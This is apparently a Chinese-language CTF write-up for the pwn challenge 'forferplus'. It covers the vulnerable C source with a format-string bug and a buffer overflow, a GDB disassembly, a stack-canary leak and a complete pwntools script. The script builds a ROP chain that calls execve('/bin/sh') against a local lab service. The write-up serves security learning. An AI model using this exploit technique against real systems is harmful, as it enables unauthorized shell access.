---
# System prepended metadata

title: forferplus
tags: [pwn, CTF]

---



看原始碼C，似乎有FSV跟BOF可以用
FSV :` printf(secret);`

BOF :
```
    char s[16];
    ...
    read(0, s, 2025);
```

```
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  char secret[8];
  char s[16];
  printf("Tell me your secret:");
  gets(secret);
  printf("Your secret:");
  printf(secret);
  printf("\n");
  printf("One chance to get my secret:");
  read(0, s, 2025);
  puts(s);
  return 0;
}

```

**GDB分析**
file ./forferplus
檔案靜態連結

checksec ./forferplus
GOT可寫，跟沒有PIE
![image](https://hackmd.io/_uploads/BJblVfasll.png)

* 靜態連結與無 PIE。所有函式和程式碼片段 (Gadgets) 的地址都是固定不變的，我們不需要洩漏 libc 基址
* Canary保護在進行緩衝區溢位前，必須先想辦法洩漏出 Canary 的值
* NX保護不能直接在堆疊上寫入並執行 shellcode，必須使用 ROP (返回導向程式設計)


接下來到leak出位置，但根據我之前leak地址的經驗
%p會像這樣露出很多地址，然後我會找得很累，數得很久還會算錯，所以這次就用一個找offset的腳本去跑
![image](https://hackmd.io/_uploads/SJOTvfTsxx.png)

容易閱讀多了
洩漏地址是為了找出CANARY在哪裡，CANARY特色是結尾是兩個00，也就是第十一位，這就是canary的offset位置
![image](https://hackmd.io/_uploads/H1tFYfasge.png)

這裡通常會直接cyclic 然後輸入過長的字串去觸發BOF，但目前有CANARY保護，所以行不通。
接下來是要算一下該怎麼填垃圾直到碰到CANARY，因為需要去控制CANARY的數值，不能夠亂填，保護機制會去檢查CANARY是否正確!
Canary 存放在了 [rbp-0x8]
s 在[rbp-0x20] lea rax,[rbp-0x20]，0x20 等於 32

以rbp當基準0，cananry 在-8，s 在-32
s 的開頭到 Canary 之間的距離為(-8) - (-32) = -8 + 32 = 24
從 s 的開頭，我們需要填充 24 個位元組的垃圾數據，才能剛好到達 Canary 的位置

```
Dump of assembler code for function main:
   0x0000000000401825 <+0>:     endbr64
   0x0000000000401829 <+4>:     push   rbp
   0x000000000040182a <+5>:     mov    rbp,rsp
   0x000000000040182d <+8>:     sub    rsp,0x30
   0x0000000000401831 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x000000000040183a <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040183e <+25>:    xor    eax,eax
   0x0000000000401840 <+27>:    mov    rax,QWORD PTR [rip+0xc3eb1]        # 0x4c56f8 <stdin>
   0x0000000000401847 <+34>:    mov    ecx,0x0
   0x000000000040184c <+39>:    mov    edx,0x2
   0x0000000000401851 <+44>:    mov    esi,0x0
   0x0000000000401856 <+49>:    mov    rdi,rax
   0x0000000000401859 <+52>:    call   0x412680 <setvbuf>
   0x000000000040185e <+57>:    mov    rax,QWORD PTR [rip+0xc3e8b]        # 0x4c56f0 <stdout>
   0x0000000000401865 <+64>:    mov    ecx,0x0
   0x000000000040186a <+69>:    mov    edx,0x2
   0x000000000040186f <+74>:    mov    esi,0x0
   0x0000000000401874 <+79>:    mov    rdi,rax
   0x0000000000401877 <+82>:    call   0x412680 <setvbuf>
   0x000000000040187c <+87>:    lea    rax,[rip+0x96781]        # 0x498004
   0x0000000000401883 <+94>:    mov    rdi,rax
   0x0000000000401886 <+97>:    mov    eax,0x0
   0x000000000040188b <+102>:   call   0x40b790 <printf>
   0x0000000000401890 <+107>:   lea    rax,[rbp-0x28]
   0x0000000000401894 <+111>:   mov    rdi,rax
   0x0000000000401897 <+114>:   mov    eax,0x0
   0x000000000040189c <+119>:   call   0x412220 <gets>
   0x00000000004018a1 <+124>:   lea    rax,[rip+0x96771]        # 0x498019
   0x00000000004018a8 <+131>:   mov    rdi,rax
   0x00000000004018ab <+134>:   mov    eax,0x0
   0x00000000004018b0 <+139>:   call   0x40b790 <printf>
   0x00000000004018b5 <+144>:   lea    rax,[rbp-0x28]
   0x00000000004018b9 <+148>:   mov    rdi,rax
   0x00000000004018bc <+151>:   mov    eax,0x0
   0x00000000004018c1 <+156>:   call   0x40b790 <printf>
   0x00000000004018c6 <+161>:   mov    edi,0xa
   0x00000000004018cb <+166>:   call   0x412870 <putchar>
   0x00000000004018d0 <+171>:   lea    rax,[rip+0x9674f]        # 0x498026
   0x00000000004018d7 <+178>:   mov    rdi,rax
   0x00000000004018da <+181>:   mov    eax,0x0
   0x00000000004018df <+186>:   call   0x40b790 <printf>
   0x00000000004018e4 <+191>:   lea    rax,[rbp-0x20]
   0x00000000004018e8 <+195>:   mov    edx,0x7e9
   0x00000000004018ed <+200>:   mov    rsi,rax
   0x00000000004018f0 <+203>:   mov    edi,0x0
   0x00000000004018f5 <+208>:   call   0x44f820 <read>
   0x00000000004018fa <+213>:   lea    rax,[rbp-0x20]
   0x00000000004018fe <+217>:   mov    rdi,rax
   0x0000000000401901 <+220>:   call   0x4124e0 <puts>
   0x0000000000401906 <+225>:   mov    eax,0x0
   0x000000000040190b <+230>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x000000000040190f <+234>:   sub    rdx,QWORD PTR fs:0x28
   0x0000000000401918 <+243>:   je     0x40191f <main+250>
   0x000000000040191a <+245>:   call   0x4525c0 <__stack_chk_fail_local>
   0x000000000040191f <+250>:   leave
   0x0000000000401920 <+251>:   ret
```


接下來就是ROP的部分
希望是可以execve("/bin/sh",NULL,NULL) 

* 呼叫 read 函式，將 "/bin/sh" 字串寫入至地址固定的 .bss 段
* 設定 rax、rdi、rsi、rdx 四個暫存器，以滿足 execve 系統調用的要求（rax=59, rdi 指向剛寫入的 "/bin/sh"），最後跳轉至 syscall 指令，成功取得 Shell

bss寫入到0x4c8000
![image](https://hackmd.io/_uploads/ByMZfQTogx.png)
read位置是0x44f820
用ROPgadget找一下所需要Gadget，底下這是腳本的紀錄訊息
```
POP_RDI = p64(0x401fcf)           # pop rdi; ret
POP_RSI = p64(0x40a03e)           # pop rsi; ret
POP_RDX_RBX = p64(0x485feb)       # pop rdx; pop rbx; ret
POP_RAX = p64(0x450287)           # pop rax; ret
SYSCALL = p64(0x401d84)           # syscall
```

目前東西都湊齊了
應該怎麼堆ROP CHAIN，用EXCEL表示
![image](https://hackmd.io/_uploads/Hyq5JH6iel.png)


一開始先放垃圾資料填到CANARY後，填滿SAVED RBP
然後開始放read所需參數，直到紅色的POP_RDI_RET開始放入execve參數

可以觀察一下腳本有沒有跑對，跟預想的是否相同
![image](https://hackmd.io/_uploads/BJmVZrTigl.png)
![image](https://hackmd.io/_uploads/ry7PZHaiex.png)


```

from pwn import *

context.arch = 'amd64'
CANARY_LEAK_OFFSET = 11
PADDING_OFFSET = 24

POP_RDI_RET = 0x401fcf
POP_RSI_RET = 0x40a03e
POP_RDX_RBX_RET = 0x485feb
POP_RAX_RET = 0x450287
SYSCALL = 0x401d84
READ_ADDR = 0x44f820
BSS_ADDR = 0x4c8000

p = remote('localhost', 40001) # Docker
# p = process('./forferplus') # 執行本地檔案


p.recvuntil(b'Tell me your secret:')
p.sendline(f'%{CANARY_LEAK_OFFSET}$p'.encode())

p.recvuntil(b'Your secret:')
canary_line = p.recvline().strip().decode()
canary = int(canary_line.split(' ')[0], 16)
log.success(f"Canary: {hex(canary)}")

#ROP CHAIN 
rop = b""
rop += p64(POP_RDI_RET) + p64(0)
rop += p64(POP_RSI_RET) + p64(BSS_ADDR)
rop += p64(POP_RDX_RBX_RET) + p64(8) + p64(0)
rop += p64(READ_ADDR)


rop += p64(POP_RDI_RET) + p64(BSS_ADDR)
rop += p64(POP_RSI_RET) + p64(0)
rop += p64(POP_RDX_RBX_RET) + p64(0) + p64(0)
rop += p64(POP_RAX_RET) + p64(59)
rop += p64(SYSCALL)


payload = b'A' * PADDING_OFFSET + p64(canary) + b'B' * 8 + rop
p.recvuntil(b'One chance to get my secret:')
p.sendline(payload)

p.send(b'/bin/sh\x00')

p.interactive()



```


